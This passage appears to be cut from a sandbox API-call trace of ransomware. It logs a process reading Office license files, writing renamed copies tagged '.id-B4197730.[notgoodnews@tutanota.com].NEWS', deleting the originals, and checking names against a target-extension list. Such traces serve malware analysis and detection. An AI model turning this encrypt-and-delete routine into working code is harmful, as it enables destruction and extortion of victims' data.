(lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.969] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37 [0184.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0184.970] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11621) returned 1 [0184.970] CloseHandle (hObject=0x55c) returned 1 [0184.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0184.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0184.971] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.971] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0184.972] GetLastError () returned 0x0 [0184.972] ReadFile (in: hFile=0x55c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0184.996] WriteFile (in: hFile=0x450, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.997] ReadFile (in: hFile=0x55c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.997] WriteFile (in: hFile=0x450, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.998] SetEndOfFile (hFile=0x450) returned 1 [0185.004] CloseHandle (hObject=0x450) returned 1 [0185.005] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.005] SetEndOfFile (hFile=0x55c) returned 1 [0185.017] CloseHandle (hObject=0x55c) returned 1 [0185.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0185.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.498] lstrlenW (lpString=".doc") returned 4 [0185.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.498] lstrlenW (lpString=".docx") returned 5 [0185.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.499] lstrlenW (lpString=".pdf") returned 4 [0185.499] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString=".xls") returned 4 [0185.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString=".xlsx") returned 5 [0185.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.499] lstrlenW (lpString=".ppt") returned 4 [0185.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.499] lstrlenW (lpString=".zip") returned 4 [0185.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString=".rar") returned 4 [0185.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString=".bz2") returned 4 [0185.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString=".7z") returned 3 [0185.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.499] lstrlenW (lpString=".dbf") returned 4 [0185.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.499] lstrlenW (lpString=".1cd") returned 4 [0185.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.499] lstrlenW (lpString=".jpg") returned 4 [0185.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString=".doc") returned 4 [0185.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".docx") returned 5 [0185.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.500] lstrlenW (lpString=".pdf") returned 4 [0185.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".xls") returned 4 [0185.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".xlsx") returned 5 [0185.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.500] lstrlenW (lpString=".ppt") returned 4 [0185.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString=".zip") returned 4 [0185.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".rar") returned 4 [0185.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".bz2") returned 4 [0185.500] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString=".7z") returned 3 [0185.500] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString=".dbf") returned 4 [0185.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString=".1cd") returned 4 [0185.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0185.500] lstrlenW (lpString=".jpg") returned 4 [0185.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.501] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.501] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34 [0185.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.502] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11609) returned 1 [0185.502] CloseHandle (hObject=0x564) returned 1 [0185.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0185.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.503] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.503] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0185.504] GetLastError () returned 0x0 [0185.504] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0185.506] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0185.508] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.508] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x118, lpOverlapped=0x0) returned 1 [0185.508] SetEndOfFile (hFile=0x4dc) returned 1 [0185.508] CloseHandle (hObject=0x4dc) returned 1 [0185.508] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.508] SetEndOfFile (hFile=0x564) returned 1 [0185.512] CloseHandle (hObject=0x564) returned 1 [0185.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0185.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.514] lstrlenW (lpString=".doc") returned 4 [0185.514] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".docx") returned 5 [0185.514] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.514] lstrlenW (lpString=".pdf") returned 4 [0185.514] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".xls") returned 4 [0185.514] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".xlsx") returned 5 [0185.514] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.514] lstrlenW (lpString=".ppt") returned 4 [0185.514] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.514] lstrlenW (lpString=".zip") returned 4 [0185.514] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".rar") returned 4 [0185.514] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".bz2") returned 4 [0185.514] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString=".7z") returned 3 [0185.514] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.514] lstrlenW (lpString=".dbf") returned 4 [0185.514] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.515] lstrlenW (lpString=".1cd") returned 4 [0185.515] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.515] lstrlenW (lpString=".jpg") returned 4 [0185.515] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.515] lstrlenW (lpString=".doc") returned 4 [0185.515] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".docx") returned 5 [0185.515] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.515] lstrlenW (lpString=".pdf") returned 4 [0185.515] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".xls") returned 4 [0185.515] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".xlsx") returned 5 [0185.515] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.515] lstrlenW (lpString=".ppt") returned 4 [0185.515] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.515] lstrlenW (lpString=".zip") returned 4 [0185.515] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".rar") returned 4 [0185.515] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".bz2") returned 4 [0185.515] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.515] lstrlenW (lpString=".7z") returned 3 [0185.516] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.516] lstrlenW (lpString=".dbf") returned 4 [0185.516] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.516] lstrlenW (lpString=".1cd") returned 4 [0185.516] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0185.516] lstrlenW (lpString=".jpg") returned 4 [0185.516] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.516] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.516] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34 [0185.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.517] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19954) returned 1 [0185.517] CloseHandle (hObject=0x564) returned 1 [0185.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0185.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0185.518] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.518] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0185.519] GetLastError () returned 0x0 [0185.519] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4df2, lpOverlapped=0x0) returned 1 [0185.522] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0185.524] ReadFile (in: hFile=0x564, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.524] WriteFile (in: hFile=0x4dc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x118, lpOverlapped=0x0) returned 1 [0185.524] SetEndOfFile (hFile=0x4dc) returned 1 [0185.524] CloseHandle (hObject=0x4dc) returned 1 [0185.524] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.524] SetEndOfFile (hFile=0x564) returned 1 [0185.528] CloseHandle (hObject=0x564) returned 1 [0185.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0185.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.530] lstrlenW (lpString=".doc") returned 4 [0185.530] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".docx") returned 5 [0185.530] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.530] lstrlenW (lpString=".pdf") returned 4 [0185.530] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".xls") returned 4 [0185.530] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".xlsx") returned 5 [0185.530] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.530] lstrlenW (lpString=".ppt") returned 4 [0185.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.530] lstrlenW (lpString=".zip") returned 4 [0185.530] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".rar") returned 4 [0185.530] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".bz2") returned 4 [0185.530] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.530] lstrlenW (lpString=".7z") returned 3 [0185.530] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.530] lstrlenW (lpString=".dbf") returned 4 [0185.531] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.531] lstrlenW (lpString=".1cd") returned 4 [0185.531] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.531] lstrlenW (lpString=".jpg") returned 4 [0185.531] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.531] lstrlenW (lpString=".doc") returned 4 [0185.531] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString=".docx") returned 5 [0185.531] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.531] lstrlenW (lpString=".pdf") returned 4 [0185.531] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString=".xls") returned 4 [0185.531] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString=".xlsx") returned 5 [0185.531] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.531] lstrlenW (lpString=".ppt") returned 4 [0185.531] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0185.531] lstrlenW (lpString=".zip") returned 4 [0185.531] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString=".rar") returned 4 [0185.531] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.531] lstrlenW (lpString=".bz2") returned 4 [0185.532] lstrcmpiW 